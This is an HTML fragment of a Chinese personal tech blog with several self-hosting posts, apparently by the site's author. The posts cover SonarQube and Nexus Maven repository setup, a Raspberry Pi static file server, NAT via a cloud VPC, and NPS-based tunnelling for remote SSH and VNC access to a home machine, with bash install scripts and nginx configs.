<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|#sonar.web.port=9000|sonar.web.port=</span><span class="k">${</span><span class="nv">SK_EXP__SONAR__PORT</span><span class="k">}</span><span class="s2">|g"</span> /usr/local/sonar/sonarqube-8.6.1.40680/conf/sonar.properties
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|#sonar.jdbc.username=|sonar.jdbc.username=</span><span class="k">${</span><span class="nv">SK_EXP__SONAR__PG_USER</span><span class="k">}</span><span class="s2">|g"</span> /usr/local/sonar/sonarqube-8.6.1.40680/conf/sonar.properties
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|#sonar.jdbc.password=|sonar.jdbc.password=</span><span class="k">${</span><span class="nv">SK_EXP__SONAR__PG_PWD</span><span class="k">}</span><span class="s2">|g"</span> /usr/local/sonar/sonarqube-8.6.1.40680/conf/sonar.properties
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|#sonar.jdbc.url=jdbc:postgresql://localhost/sonarqube?currentSchema=my_schema|sonar.jdbc.url=</span><span class="k">${</span><span class="nv">SK_EXP__SONAR__PG_URL</span><span class="k">}</span><span class="s2">|g"</span> /usr/local/sonar/sonarqube-8.6.1.40680/conf/sonar.properties
<span class="k">if </span><span class="nb">id</span> <span class="nt">-u</span> sonar <span class="o">></span>/dev/null 2>&1<span class="p">;</span> <span class="k">then
</span><span class="nb">echo</span> <span class="s1">'sonar exists'</span>
<span class="k">else
</span>useradd <span class="nt">-g</span> root sonar
<span class="k">fi
</span><span class="nb">chmod</span> <span class="nt">-R</span> 775 /usr/local/sonar
su - sonar <span class="nt">-c</span> <span class="s1">'/usr/local/sonar/sonarqube-8.6.1.40680/bin/linux-x86-64/sonar.sh start'</span>
<span class="c">#su - sonar -c '/usr/local/sonar/sonarqube-8.6.1.40680/bin/linux-x86-64/sonar.sh stop'</span>
<span class="nb">cd</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>
<span class="k">else
</span><span class="nb">echo</span> <span class="s1">'sonar installed.'</span>
<span class="k">fi</span>
</code></pre></div></div>
<h2 id="配置">配置</h2>
<p>默认 admin/admin 登录后,新增 Token</p>
<p><img src="/images/posts/2021/02/WX20210211-090229@2x.png" alt="" /></p>
<h2 id="使用">使用</h2>
<h3 id="settingxml">setting.xml</h3>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><pluginGroup></span>org.sonarsource.scanner.maven<span class="nt"></pluginGroup></span>
</code></pre></div></div>
<h3 id="pomxml">pom.xml</h3>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><plugin></span>
<span class="nt"><groupId></span>org.sonarsource.scanner.maven<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>sonar-maven-plugin<span class="nt"></artifactId></span>
<span class="nt"><version></span>${org.sonarsource.scanner.maven_sonar-maven-plugin_version}<span class="nt"></version></span>
<span class="nt"></plugin></span>
</code></pre></div></div>
<h3 id="mvn">mvn</h3>
<p><code class="language-plaintext highlighter-rouge">mvn sonar:sonar -Dsonar.host.url=http://sonar.shaneking.org -Dsonar.login=上面新增的Token</code></p>
<h2 id="效果">效果</h2>
<p><img src="/images/posts/2021/02/WX20210211-092435@2x.png" alt="" /></p>
<h2 id="参考">参考</h2>
<p><a href="https://www.cnblogs.com/passedbylove/p/12432955.html">https://www.cnblogs.com/passedbylove/p/12432955.html</a></p>
<p><a href="https://github.com/jchowdhary/junit5-spring-boot-rest-springmvc-sonar">https://github.com/jchowdhary/junit5-spring-boot-rest-springmvc-sonar</a></p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p><a href="https://docs.sonarqube.org/latest/requirements/requirements">Prerequisites and Overview</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a> <a href="#fnref:1:1" class="reversefootnote" role="doc-backlink">↩<sup>2</sup></a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p><a href="https://shaneking.org/2019/06/29/postgresql-notes/">PostgreSQL 笔记</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p><a href="https://docs.sonarqube.org/latest/setup/install-server">Install the Server</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>ShaneKing你的代码怎么样?抛开体系架构不谈,抛开模式设计不说,抛开性能指标不看。除去个人的思想及手法,回到代码的基本功本身。Sonar基于 Nexus 搭建 Maven 私服2021-02-06T00:00:00+08:002021-02-06T00:00:00+08:00https://shaneking.org/2021/02/06/build-internal-maven-repository-by-nexus<p>私服:自嗨的代名词。由于部分开源软件的版本节奏差异,有时候要打一些开源软件的补丁,等不及开源软件版本,特此有了搭私服的需求。</p>
<h2 id="要求">要求</h2>
<ul>
<li>java</li>
<li>maven</li>
<li>npm</li>
</ul>
<h2 id="安装">安装</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-d</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/skWorkspace/1612622024868_t4WFmTyaXpeY5bXPcNf <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">mkdir</span> <span class="nt">-p</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/skWorkspace/1612622024868_t4WFmTyaXpeY5bXPcNf <span class="o">&&</span> <span class="nb">cd</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/skWorkspace/1612622024868_t4WFmTyaXpeY5bXPcNf
<span class="c"># 链接: https://pan.baidu.com/s/104JoiD01xBm6yJjHUZUbKQ 提取码: 1n4t 复制这段内容后打开百度网盘手机App,操作更方便哦</span>
wget http://share.nps.shaneking.org/software/com/sonatype/nexus-3.29.2-02-unix.tar.gz
<span class="nb">mkdir</span> <span class="nt">-p</span> /usr/local/nexus <span class="o">&&</span> <span class="nb">cd</span> /usr/local/nexus
<span class="nb">tar</span> <span class="nt">-xzvf</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/skWorkspace/1612622024868_t4WFmTyaXpeY5bXPcNf/nexus-3.29.2-02-unix.tar.gz <span class="nt">-C</span> <span class="nb">.</span>
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|application-port=8081|application-port=</span><span class="k">${</span><span class="nv">SK_EXP__NEXUS__PORT</span><span class="k">}</span><span class="s2">|g"</span> /usr/local/nexus/nexus-3.29.2-02/etc/nexus-default.properties
/usr/local/nexus/nexus-3.29.2-02/bin/nexus start
<span class="nb">cat</span> <span class="o">></span>/etc/nginx/conf.d/nexus.conf <span class="o"><<</span><span class="no">EOF</span><span class="sh">
server {
listen 80;
server_name </span><span class="k">${</span><span class="nv">SK_EXP__NEXUS__DOMAIN</span><span class="k">}</span><span class="sh">;
location / {
proxy_set_header Host </span><span class="se">\$</span><span class="sh">http_host;
proxy_set_header X-Real-IP </span><span class="se">\$</span><span class="sh">remote_addr;
proxy_set_header X-Forwarded-For </span><span class="se">\$</span><span class="sh">proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto </span><span class="se">\$</span><span class="sh">scheme;
proxy_pass http://127.0.0.1:</span><span class="k">${</span><span class="nv">SK_EXP__NEXUS__PORT</span><span class="k">}</span><span class="sh">;
}
}
</span><span class="no">EOF
</span> nginx <span class="nt">-s</span> reload
<span class="nb">cd</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>
<span class="k">else
</span><span class="nb">echo</span> <span class="s1">'nexus installed.'</span>
<span class="k">fi</span>
</code></pre></div></div>
<h2 id="配置">配置</h2>
<h3 id="禁止匿名">禁止匿名</h3>
<p>因为暴露在公网上,补丁又不一定是最终合入主分支的版本,所以禁止匿名访问,如果是内网,就没有必要了。</p>
<p><img src="/images/posts/2021/02/WX20210208-000023@2x.png" alt="" /></p>
<h3 id="设置帐号">设置帐号</h3>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!--~/.m2/settings.xml--></span>
<span class="nt"><servers></span>
<span class="nt"><server></span>
<span class="nt"><id></span>NexusMirror<span class="nt"></id></span>
<span class="nt"><username></span>admin<span class="nt"></username></span>
<span class="nt"><password></span>admin123<span class="nt"></password></span>
<span class="nt"></server></span>
<span class="c"><!-- nexus just for snapshot
<server>
<id>releases</id>
<username>username</username>
<password>password</password>
</server>
--></span>
<span class="nt"><server></span>
<span class="nt"><id></span>snapshots<span class="nt"></id></span>
<span class="nt"><username></span>username<span class="nt"></username></span>
<span class="nt"><password></span>password<span class="nt"></password></span>
<span class="nt"></server></span>
<span class="nt"></servers></span>
</code></pre></div></div>
<h3 id="设置下载">设置下载</h3>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!--~/.m2/settings.xml--></span>
<span class="nt"><mirrors></span>
<span class="c"><!--default is central--></span>
<span class="c"><!-- maybe no storage, haha
<mirror>
<id>NexusMirror</id>
<name>NexusMirror</name>
<url>http://nexus.shaneking.org/repository/maven-public/</url>
<mirrorOf>*</mirrorOf>
</mirror>
--></span>
<span class="c"><!--https://segmentfault.com/a/1190000017402970--></span>
<span class="nt"><mirror></span>
<span class="nt"><id></span>snapshots<span class="nt"></id></span>
<span class="nt"><name></span>snapshots<span class="nt"></name></span>
<span class="nt"><url></span>http://nexus.shaneking.org/repository/maven-public/<span class="nt"></url></span>
<span class="nt"><mirrorOf></span>snapshots<span class="nt"></mirrorOf></span>
<span class="nt"></mirror></span>
<span class="nt"></mirrors></span>
</code></pre></div></div>
<h2 id="使用">使用</h2>
<h3 id="设置上传">设置上传</h3>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!--pom.xml--></span>
<span class="nt"><distributionManagement></span>
<span class="c"><!-- nexus just for snapshot
<repository>
<id>releases</id>
<url>http://nexus.shaneking.org/nexus/content/repositories/releases/</url>
</repository>
--></span>
<span class="nt"><snapshotRepository></span>
<span class="nt"><id></span>snapshots<span class="nt"></id></span>
<span class="nt"><url></span>http://nexus.shaneking.org/repository/maven-snapshots/<span class="nt"></url></span>
<span class="nt"></snapshotRepository></span>
<span class="nt"></distributionManagement></span>
</code></pre></div></div>
<h2 id="参考">参考</h2>
<p><a href="https://www.cnblogs.com/java-linux/p/10263568.html">https://www.cnblogs.com/java-linux/p/10263568.html</a></p>
<p><a href="https://www.cnblogs.com/zishengY/p/7794923.html">https://www.cnblogs.com/zishengY/p/7794923.html</a></p>ShaneKing私服:自嗨的代名词。由于部分开源软件的版本节奏差异,有时候要打一些开源软件的补丁,等不及开源软件版本,特此有了搭私服的需求。树莓派静态文件服务2021-01-30T00:00:00+08:002021-01-30T00:00:00+08:00https://shaneking.org/2021/01/30/raspberry-pi-static-server<p>现在的云存储实在是太贵了,遥想 18 年,阿里云 OSS 服务,1TB 存储,3 年才 99 元,现在 3996 元。于是折腾又开始了…</p>
<h2 id="树莓派">树莓派</h2>
<h3 id="挂载移动硬盘">挂载移动硬盘</h3>
<p><a href="https://blog.csdn.net/weixin_42118716/article/details/108193396">https://blog.csdn.net/weixin_42118716/article/details/108193396</a></p>
<h3 id="安装-nginx">安装 NGINX</h3>
<p><code class="language-plaintext highlighter-rouge">sudo apt-get -y install nginx</code></p>
<h3 id="配置-nginx">配置 NGINX</h3>
<ul>
<li><code class="language-plaintext highlighter-rouge">vim /etc/nginx/conf.d/share.conf</code>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server_names_hash_bucket_size 128<span class="p">;</span>
server <span class="o">{</span>
listen 80<span class="p">;</span>
server_name share.nps.shaneking.org<span class="p">;</span>
access_log /var/log/nginx/share_access.log<span class="p">;</span>
location / <span class="o">{</span>
root /mnt/d320g1/share<span class="p">;</span>
autoindex on<span class="p">;</span>
autoindex_exact_size on<span class="p">;</span>
autoindex_localtime on<span class="p">;</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div> </div>
</li>
</ul>
<h2 id="nps">NPS</h2>
<p><strong>仅需加一条域名解析</strong>,无需其它配置</p>
<p><img src="/images/posts/2021/01/WX20210207-204950@2x.png" alt="" /></p>ShaneKing现在的云存储实在是太贵了,遥想 18 年,阿里云 OSS 服务,1TB 存储,3 年才 99 元,现在 3996 元。于是折腾又开始了…基于 VPC 搭建 NAT2021-01-02T00:00:00+08:002021-01-02T00:00:00+08:00https://shaneking.org/2021/01/02/build-nat-by-vpc<p>整完外网访问内网,就该整内网访问外网了。VPN 代理模式 跟 SNAT 使用场景还是有差的</p>
<h2 id="需求">需求</h2>
<p>内网机通过公网机联网</p>
<h2 id="分析">分析</h2>
<p>VPN 只能代理代理 HTTP 啥的,遇到 wget 什么的就麻烦了,基于 iptables 还是有点啰嗦的,结合来看还是 VPC 简洁</p>
<h2 id="设计">设计</h2>
<h3 id="所需材料">所需材料</h3>
<ul>
<li>一台 VPC 公网 ECS</li>
</ul>
<h3 id="限制条件">限制条件</h3>
<ul>
<li>内网机与公网机在同一个 VPC 下</li>
</ul>
<h2 id="开发">开发</h2>
<h3 id="vpc">VPC</h3>
<p><img src="/images/posts/2021/01/QQ20210101-173933@2x.png" alt="" /></p>
<h3 id="ecs">ECS</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 开启firewalld防火墙</span>
systemctl <span class="nb">enable </span>firewalld
systemctl start firewalld
<span class="c"># 网卡默认是在public的zone内,也是默认zone。永久添加源地址转换功能</span>
firewall-cmd <span class="nt">--add-masquerade</span> <span class="nt">--permanent</span>
firewall-cmd <span class="nt">--reload</span>
<span class="c"># 添加网卡的ip转发功能</span>
<span class="nb">cat</span> <span class="o">>></span>/etc/sysctl.conf <span class="o"><<</span><span class="no">EOF</span><span class="sh">
net.ipv4.ip_forward=1
</span><span class="no">EOF
</span><span class="c"># 重载网络配置生效</span>
sysctl <span class="nt">-p</span>
</code></pre></div></div>
<h2 id="验证">验证</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>root@sk-ecs-bdwk ~]# ping shaneking.org
PING shaneking.org <span class="o">(</span>185.199.111.153<span class="o">)</span> 56<span class="o">(</span>84<span class="o">)</span> bytes of data.
64 bytes from 185.199.111.153 <span class="o">(</span>185.199.111.153<span class="o">)</span>: <span class="nv">icmp_seq</span><span class="o">=</span>1 <span class="nv">ttl</span><span class="o">=</span>48 <span class="nb">time</span><span class="o">=</span>37.8 ms
64 bytes from 185.199.111.153 <span class="o">(</span>185.199.111.153<span class="o">)</span>: <span class="nv">icmp_seq</span><span class="o">=</span>2 <span class="nv">ttl</span><span class="o">=</span>48 <span class="nb">time</span><span class="o">=</span>37.8 ms
64 bytes from 185.199.111.153 <span class="o">(</span>185.199.111.153<span class="o">)</span>: <span class="nv">icmp_seq</span><span class="o">=</span>3 <span class="nv">ttl</span><span class="o">=</span>48 <span class="nb">time</span><span class="o">=</span>37.5 ms
^C
<span class="nt">---</span> shaneking.org ping statistics <span class="nt">---</span>
3 packets transmitted, 3 received, 0% packet loss, <span class="nb">time </span>6ms
rtt min/avg/max/mdev <span class="o">=</span> 37.465/37.675/37.803/0.149 ms
<span class="o">[</span>root@sk-ecs-bdwk ~]#
</code></pre></div></div>
<h2 id="参考">参考</h2>
<p><a href="https://amos-x.com/index.php/amos/archives/centos7-aliyun-nat/">https://amos-x.com/index.php/amos/archives/centos7-aliyun-nat/</a></p>ShaneKing整完外网访问内网,就该整内网访问外网了。VPN 代理模式 跟 SNAT 使用场景还是有差的内网穿透2021-01-01T00:00:00+08:002021-01-01T00:00:00+08:00https://shaneking.org/2021/01/01/intranet-penetration<p>自从花生壳搞创收之后,基本上就是各种变着法的 get money,so 搭建搞起来。</p>
<h2 id="需求">需求</h2>
<p>外网可远程家里的机器</p>
<h2 id="分析">分析</h2>
<p>站在前辈的基础上,ngrok 私有了,frp 太粗糙,nps 也有 15.4k Star 了</p>
<p><img src="/images/posts/2021/01/aHR0cHM6Ly9jNHlzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxOS8wOC9pbWFnZS0xNTY3MDQ2MzY4NjQwLnBuZw.png" alt="" /></p>
<h2 id="设计">设计</h2>
<h3 id="所需材料">所需材料</h3>
<ul>
<li>一台公网机器(比如BAT云)</li>
<li>一个域名(通常域名服务商都提供解析服务)</li>
<li>火墙端口:40080,48024~48080</li>
</ul>
<h3 id="限制条件">限制条件</h3>
<ul>
<li>内网机能与公网机互通 或 内网机能上外网但没有公网</li>
</ul>
<h2 id="开发">开发</h2>
<h3 id="服务端">服务端</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">!</span> <span class="o">[</span> <span class="nt">-x</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">command</span> <span class="nt">-v</span> nps<span class="si">)</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/nps <span class="o">&&</span> <span class="nb">mv</span> <span class="nt">-f</span> /tmp/nps /tmp/nps.skbak<span class="si">$(</span><span class="nb">date</span> +<span class="s1">'%Y%m%d%H%M%S'</span><span class="si">)</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/nps <span class="o">&&</span> <span class="nb">cd</span> /tmp/nps
<span class="nb">tar</span> <span class="nt">-xzvf</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/resources/nps/linux_amd64_server.tar.gz <span class="nt">-C</span> <span class="nb">.</span>
<span class="nb">sudo</span> ./nps <span class="nb">install</span>
<span class="c">### attention:must ", not ', because has ${XXX}</span>
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|http_proxy_port=80|http_proxy_port=</span><span class="k">${</span><span class="nv">SK_EXP__NPS__HTTP_PROXY_PORT</span><span class="k">}</span><span class="s2">|g"</span> /etc/nps/conf/nps.conf
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|https_proxy_port=443|https_proxy_port=|g"</span> /etc/nps/conf/nps.conf
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|bridge_port=8024|bridge_port=</span><span class="k">${</span><span class="nv">SK_EXP__NPS__BRIDGE_PORT</span><span class="k">}</span><span class="s2">|g"</span> /etc/nps/conf/nps.conf
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|public_vkey=123|public_vkey=</span><span class="k">${</span><span class="nv">SK_EXP__NPS__PK</span><span class="k">}</span><span class="s2">|g"</span> /etc/nps/conf/nps.conf
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|web_host=a.o.com|web_host=</span><span class="k">${</span><span class="nv">SK_EXP__NPS__DOMAIN_WEB</span><span class="k">}</span><span class="s2">|g"</span> /etc/nps/conf/nps.conf
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|web_password=123|web_password=</span><span class="k">${</span><span class="nv">SK_EXP__NPS__PWD</span><span class="k">}</span><span class="s2">|g"</span> /etc/nps/conf/nps.conf
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|web_port = 8080|web_port = </span><span class="k">${</span><span class="nv">SK_EXP__NPS__WEB_PORT</span><span class="k">}</span><span class="s2">|g"</span> /etc/nps/conf/nps.conf
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s2">"s|auth_crypt_key =1234567812345678|auth_crypt_key =</span><span class="k">${</span><span class="nv">SK_EXP__NPS__ACK16</span><span class="k">}</span><span class="s2">|g"</span> /etc/nps/conf/nps.conf
systemctl <span class="nb">enable </span>Nps
systemctl restart Nps
<span class="c">#systemctl status Nps</span>
<span class="nb">source</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/softwares/os/cos/c7/nginx.sh
<span class="c">### attention:must add \ before $, but not before ${XXX}</span>
<span class="nb">cat</span> <span class="o">></span>/etc/nginx/conf.d/nps.conf <span class="o"><<</span><span class="no">EOF</span><span class="sh">
server {
listen 80;
server_name *.</span><span class="k">${</span><span class="nv">SK_EXP__NPS__DOMAIN_STAR</span><span class="k">}</span><span class="sh">;
location / {
proxy_set_header Host </span><span class="se">\$</span><span class="sh">http_host;
proxy_set_header X-Real-IP </span><span class="se">\$</span><span class="sh">remote_addr;
proxy_set_header X-Forwarded-For </span><span class="se">\$</span><span class="sh">proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto </span><span class="se">\$</span><span class="sh">scheme;
proxy_pass http://127.0.0.1:</span><span class="k">${</span><span class="nv">SK_EXP__NPS__HTTP_PROXY_PORT</span><span class="k">}</span><span class="sh">;
}
}
server {
listen 80;
server_name </span><span class="k">${</span><span class="nv">SK_EXP__NPS__DOMAIN_WEB</span><span class="k">}</span><span class="sh">;
location / {
proxy_set_header Host </span><span class="se">\$</span><span class="sh">http_host;
proxy_set_header X-Real-IP </span><span class="se">\$</span><span class="sh">remote_addr;
proxy_set_header X-Forwarded-For </span><span class="se">\$</span><span class="sh">proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto </span><span class="se">\$</span><span class="sh">scheme;
proxy_pass http://127.0.0.1:</span><span class="k">${</span><span class="nv">SK_EXP__NPS__WEB_PORT</span><span class="k">}</span><span class="sh">;
}
}
server {
listen 443 ssl;
server_name *.</span><span class="k">${</span><span class="nv">SK_EXP__NPS__DOMAIN_STAR</span><span class="k">}</span><span class="sh">;
ssl_certificate /etc/nps/conf/server.pem;
ssl_certificate_key /etc/nps/conf/server.key;
ssl_session_timeout 5m;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
location / {
proxy_set_header Host </span><span class="se">\$</span><span class="sh">http_host;
proxy_set_header X-Real-IP </span><span class="se">\$</span><span class="sh">remote_addr;
proxy_set_header X-Forwarded-Ssl on; ### for https, comment if http
proxy_set_header X-Forwarded-For </span><span class="se">\$</span><span class="sh">proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto </span><span class="se">\$</span><span class="sh">scheme;
proxy_pass http://127.0.0.1:</span><span class="k">${</span><span class="nv">SK_EXP__NPS__HTTP_PROXY_PORT</span><span class="k">}</span><span class="sh">;
}
}
server {
listen 443 ssl;
server_name </span><span class="k">${</span><span class="nv">SK_EXP__NPS__DOMAIN_WEB</span><span class="k">}</span><span class="sh">;
ssl_certificate /etc/nps/conf/server.pem;
ssl_certificate_key /etc/nps/conf/server.key;
ssl_session_timeout 5m;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
location / {
proxy_set_header Host </span><span class="se">\$</span><span class="sh">http_host;
proxy_set_header X-Real-IP </span><span class="se">\$</span><span class="sh">remote_addr;
proxy_set_header X-Forwarded-Ssl on; ### for https, comment if http
proxy_set_header X-Forwarded-For </span><span class="se">\$</span><span class="sh">proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto </span><span class="se">\$</span><span class="sh">scheme;
proxy_pass http://127.0.0.1:</span><span class="k">${</span><span class="nv">SK_EXP__NPS__WEB_PORT</span><span class="k">}</span><span class="sh">;
}
}
</span><span class="no">EOF
</span> nginx <span class="nt">-s</span> reload
<span class="nb">cd</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>
<span class="k">else
</span><span class="nb">echo</span> <span class="s1">'nps installed.'</span>
<span class="k">fi</span>
</code></pre></div></div>
<h3 id="管理端">管理端</h3>
<p><img src="/images/posts/2021/01/QQ20210101-132201@2x.png" alt="" /></p>
<h3 id="客户端">客户端</h3>
<h4 id="树莓派">树莓派</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">!</span> <span class="o">[</span> <span class="nt">-x</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">command</span> <span class="nt">-v</span> npc<span class="si">)</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/npc <span class="o">&&</span> <span class="nb">mv</span> <span class="nt">-f</span> /tmp/npc /tmp/npc.skbak<span class="si">$(</span><span class="nb">date</span> +<span class="s1">'%Y%m%d%H%M%S'</span><span class="si">)</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/npc <span class="o">&&</span> <span class="nb">cd</span> /tmp/npc
<span class="nb">tar</span> <span class="nt">-xzvf</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/resources/npc/linux_arm_v7_client.tar.gz <span class="nt">-C</span> <span class="nb">.</span>
<span class="nb">sudo mkdir</span> <span class="nt">-p</span> /etc/npc/conf <span class="o">&&</span> <span class="nb">sudo chmod</span> <span class="nt">-R</span> 777 /etc/npc
<span class="nb">cat</span> <span class="o">></span>/etc/npc/conf/npc.conf <span class="o"><<</span><span class="no">EOF</span><span class="sh">
[common]
server_addr=</span><span class="k">${</span><span class="nv">SK_EXP__NPS__DOMAIN_STAR</span><span class="k">}</span><span class="sh">:</span><span class="k">${</span><span class="nv">SK_EXP__NPS__BRIDGE_PORT</span><span class="k">}</span><span class="sh">
conn_type=tcp
vkey=</span><span class="k">${</span><span class="nv">SK_EXP_RPI__NPC__VK</span><span class="k">}</span><span class="sh">
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
#basic_username=11
#basic_password=3
#web_username=user
#web_password=1234
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60
[tcp22]
mode=tcp
target_addr=127.0.0.1:22
server_port=</span><span class="k">${</span><span class="nv">SK_EXP_RPI__NPC__TCP22_PORT</span><span class="k">}</span><span class="sh">
[tcp5900]
mode=tcp
target_addr=127.0.0.1:5900
server_port=</span><span class="k">${</span><span class="nv">SK_EXP_RPI__NPC__TCP5900_PORT</span><span class="k">}</span><span class="sh">
</span><span class="no">EOF
</span> <span class="nb">sudo</span> ./npc <span class="nb">install</span> <span class="nt">-config</span><span class="o">=</span>/etc/npc/conf/npc.conf
<span class="nb">sudo </span>systemctl <span class="nb">enable </span>Npc
<span class="nb">sudo </span>systemctl restart Npc
<span class="c">#sudo systemctl status Npc</span>
<span class="nb">cd</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>
<span class="k">else
</span><span class="nb">echo</span> <span class="s1">'npc installed.'</span>
<span class="k">fi</span>
</code></pre></div></div>
<h2 id="验证">验证</h2>
<h3 id="服务端-1">服务端</h3>
<p><img src="/images/posts/2021/01/QQ20210101-000557@2x.png" alt="" /></p>
<h3 id="客户端-1">客户端</h3>
<h4 id="ssh">ssh</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ShaneKing@ShaneKing-MBP13R2012 Downloads % ssh <span class="nt">-p</span> 48026 pi@nps.shaneking.org
The authenticity of host <span class="s1">'[nps.shaneking.org]:48026 ([106.14.198.173]:48026)'</span> can<span class="s1">'t be established.
ECDSA key fingerprint is SHA256:aedq/iqM4eWrTwoKdYCxpk8J0aWke4/QLjNXGQA0A0A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span><span class="o">[</span>nps.shaneking.org]:48026,[106.14.198.173]:48026<span class="s1">' (ECDSA) to the list of known hosts.
pi@nps.shaneking.org'</span>s password:
Linux raspberrypi 5.4.79-v7l+ <span class="c">#1373 SMP Mon Nov 23 13:27:40 GMT 2020 armv7l</span>
The programs included with the Debian GNU/Linux system are free software<span class="p">;</span>
the exact distribution terms <span class="k">for </span>each program are described <span class="k">in </span>the
individual files <span class="k">in</span> /usr/share/doc/<span class="k">*</span>/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 1 12:52:34 2021
pi@raspberrypi:~ <span class="err">$</span>
</code></pre></div></div>
<h4 id="vnc">vnc</h4>
<p><img src="/images/posts/2021/01/QQ20210101-131304@2x.png" alt="" /></p>
<h2 id="参考">参考</h2>
<p><a href="https://blog.csdn.net/a1035434631/article/details/108010819">https://blog.csdn.net/a1035434631/article/details/108010819</a></p>ShaneKing自从花生壳搞创收之后,基本上就是各种变着法的 get money,so 搭建搞起来。